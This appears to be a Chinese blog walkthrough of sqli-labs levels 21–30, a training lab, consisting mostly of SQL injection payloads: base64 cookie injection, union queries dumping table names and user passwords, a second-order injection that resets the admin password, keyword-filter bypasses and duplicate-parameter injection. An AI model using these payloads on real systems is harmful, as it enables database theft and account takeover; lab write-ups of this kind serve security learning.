第二十一关
登陆后显示如下图界面,感觉和cookie注入有些相似
进行抓包,发现cookie被编码
返回来查看源代码,发现这里被base64编码
我们将抓到的包发至重放器,在cookie字段写入查询代码并改为base64编码
发送请求即可得到数据库名
剩余操作大家自行查询
第二十二关
登陆后显示界面和二十一关一样
查看源代码发现也是被base64编码
基本和二十一关相同,只是闭合方式不同
1" union select 1,2,database() #
编码后:MSIgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
后续大家自行查询
第二十三关
输入1'登录不成功,1'#也不成功
而1' '成功登录,说明#被注释
测试回显位
爆出库名
?id=-1' union select 1,database(),3 '
爆表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 '
爆字段名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 '
爆字段信息
?id=-1' union select 1,(select group_concat(username,password) from users),3 '
第二十四关
进入24关,有注册、登录、忘记密码等界面
我们先注册一个名为admin的帐号,这里提示我们admin已存在
所以我们重新注册一个admin'#的账号,密码位123456,注册后登录,可以在这个界面修改密码,单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。此时修改的就是 admin 的密码。
密码修改成功
我们使用修改的密码登录admin的账号,成功登录
我们这次所用的方法叫做二次排序注入,也叫做存储型的注入,就是将可能导致sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。
第二十五关
先判断闭合方式
?id=1' --+
联合查询查看回显位置
?id=-1' union select 1,2,3 --+
爆出数据库名
?id=-1' union select 1,database(),3 --+
爆表名,页面上提示'or'和'and'会被注释,说明单词中出现的也会白注释,我们可以使用双写的方法规避注释
?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3 --+
后续大家自行查询,记住规避'or''和'and'
第二十六关
判断闭合方式,我们实验发现#和--+都闭合不了,所以这里我们用一个不常用的注释
?id=1';%00
测试发现常规代替空格的方式都被注释了,正好()也能代替空格使用,-号也被注释,我们就选一个不存在的数亮出回显位置
?id=99'union(select(1),(2),(3));%00
爆出数据库名
?id=99'union(select(1),(database()),(3));%00
第二十七关
判断闭合方式,和上一关一样
?id=1';%00
由于页面提示屏蔽了union和select字样,所以我们采用双写和大小写的方式绕开,空格用%09代替,亮出回显
?id=99' ununionion%09seleCt %091,2,3;%00
爆出数据库名
?id=99' ununionion%09seleCt %091,database(),3;%00
第二十八关
判断闭合方式
?id=1');%00
过滤一组union select ,以下代码绕开过滤
?id=1')%09ununion%09selection%09select%091,2,3;%00
确定回显,爆出数据库名称
?id=99')%09ununion%09selection%09select%091,database(),3;%00
第二十九关
判断闭合方式
?id=1'--+
这关用常规方法也是可以做出来,但是毕竟是新的关卡,肯定有它出现的道理,看了下源码发现是代码逻辑漏洞导致的重复参数注入,就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。
?id=1&id=-1' union select 1,2,3--+
下面我们就要常规方法解题了
爆库名
?id=-1' union select 1,database(),3--+
爆表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
爆字段名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+
爆字段数据
?id=-1' union select 1,(select group_concat(username,password) from users),3--+
第三十关
和二十九关相似,只不过是闭合方式变成了"
?id=1"--+
亮出回显
?id=1&id=-1" union select 1,2,3--+
爆出数据库名
标签:20,union,40,labs,--+,table,id,select,schema From: https://blog.csdn.net/kknifek/article/details/141529516?id=1&id=-1" union select 1,database(),3--+